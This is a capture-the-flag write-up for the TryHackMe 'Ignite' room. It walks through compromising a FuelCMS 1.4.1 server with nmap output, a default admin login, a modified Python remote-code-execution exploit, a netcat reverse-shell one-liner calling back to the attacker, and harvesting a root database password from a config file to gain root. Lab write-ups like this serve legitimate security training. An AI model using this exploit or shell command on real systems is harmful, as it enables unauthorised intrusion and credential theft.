THM - Ignite

 THM - Ignite

Hello,

a few small notes before I start writing my Writeups on the TryHackMe.com "Ignite" room.

The $ IP addresses may change, as TryHackMe assigns a different ip each time we create a room.

I have varied the Python script from the original as we will see later.

Thanks for reading my solution for having the flag.

Let's get started now

//1


nmap -sV -O --script vuln $IP PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /robots.txt: Robots file | /0/: Potentially interesting folder | /home/: Potentially interesting folder |_ /index/: Potentially interesting folder |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | vulners: | cpe:/a:apache:http_server:2.4.18: | CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679 | CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668 | CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169 | CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167 | CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211 | CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312 | CVE-2017-15715 6.8 https://vulners.com/cve/CVE-2017-15715 | CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082 | CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788 | CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217 | CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927 | CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098 | CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934 | CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220 | CVE-2019-0196 5.0 https://vulners.com/cve/CVE-2019-0196 | CVE-2018-17199 5.0 https://vulners.com/cve/CVE-2018-17199 | CVE-2018-1333 5.0 https://vulners.com/cve/CVE-2018-1333 | CVE-2017-9798 5.0 https://vulners.com/cve/CVE-2017-9798 | CVE-2017-15710 5.0 https://vulners.com/cve/CVE-2017-15710 | CVE-2016-8743 5.0 https://vulners.com/cve/CVE-2016-8743 | CVE-2016-8740 5.0 https://vulners.com/cve/CVE-2016-8740 | CVE-2016-4979 5.0 https://vulners.com/cve/CVE-2016-4979 | CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197 | CVE-2020-11985 4.3 https://vulners.com/cve/CVE-2020-11985 | CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092 | CVE-2018-11763 4.3 https://vulners.com/cve/CVE-2018-11763 | CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975 | CVE-2016-1546 4.3 https://vulners.com/cve/CVE-2016-1546 | CVE-2018-1283 3.5 https://vulners.com/cve/CVE-2018-1283 |_ CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612


//2

robots.txt

disallow : /fuel/

$IP/fuel/ --> admin login

Passwords (check the welcome page):

admin: a.... -> bam, OK

//3

I start a scan with Dirbuster for scruple:

But nothing interesting

//4

I search on Google for interesting exploits for FuelCMS

Google Fuelcms exploit

and I found:

fuelCMS 1.4.1 - Remote Code Execution 

https://www.exploit-db.com/exploits/47138

//5

The initial code was this:

but kali reported me a python error,

so I changed it like this:

import requests
import urllib

URL = "http://IP.FuelCMS"
def find_nth_overlapping(haystack, needle, n):
  start = haystack.find(needle)
  while start >= 0 and n > 1:
      start = haystack.find(needle, start+1)
      n -= 1
  return start

while 1:
  xxxx = input('cmd:')
  url = URL+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx)+"%27%29%2b%27"
  r = requests.get(url)

  html = "<!DOCTYPE html>"
  htmlcharset = r.text.find(html)

  begin = r.text[0:20]
  dup = find_nth_overlapping(r.text,begin,2)

  print(r.text[0:dup])

ok, run script:

python3 fuel.py

** if the script doesn't work, remove the highlighted code in it and try again

I checked who I am:

whoami

reply:

systemwww-data


//5

OK now, reverse shell

I try some command, then of course on GitHub: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#php

on terminal 2 -->

nc -nlvp 4444

on terminal 1 -->

cmd: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP:tun0 4444 > /tmp/f

great I'm on the shell!

$ cd /home/www-data 
$ ls
flag.txt
$ cat flag.txt
6470e394cbf6dab.........

//6

Find database.php for search root password (this is addressed to us from point 2

Install the database, of the page: Welcom to FUEL CMS)

$ find / -name database.php 2>/dev/null
/var/www/html/fuel/application/config/database.php

$ cat /var/www/html/fuel/application/config/database.php
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => 'me....',
'database' => 'fuel_schema',
'dbdriver' => 'mysqli',
'dbprefix' => '',
'pconnect' => FALSE,
'db_debug' => (ENVIRONMENT !== 'production'),
'cache_on' => FALSE,
'cachedir' => '',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
'save_queries' => TRUE
);
// used for testing purposes
if (defined('TESTING'))
{
@include(TESTER_PATH.'config/tester_database'.EXT);
}


//7

ok now I have the shell and the root password, let's check if python and try to get a TTY shell

$ python -V
Python 2.7.12

ok Python is present

load python pty module for use shell

$ python -c 'import pty; pty.spawn("/bin/bash")'

www-data@ubuntu:/var/www/html$ su su Password: me.... root@ubuntu:/# cd /root cd /root root@ubuntu:~# ls ls root.txt root@ubuntu:~# cat root.txt cat root.txt b9bbcb33e11b80b............

ok great! solved, thanks for reading my writeup and if you want to write me send me an email: Pl0/NjhDOj86bz02SDY/NkVdNEA+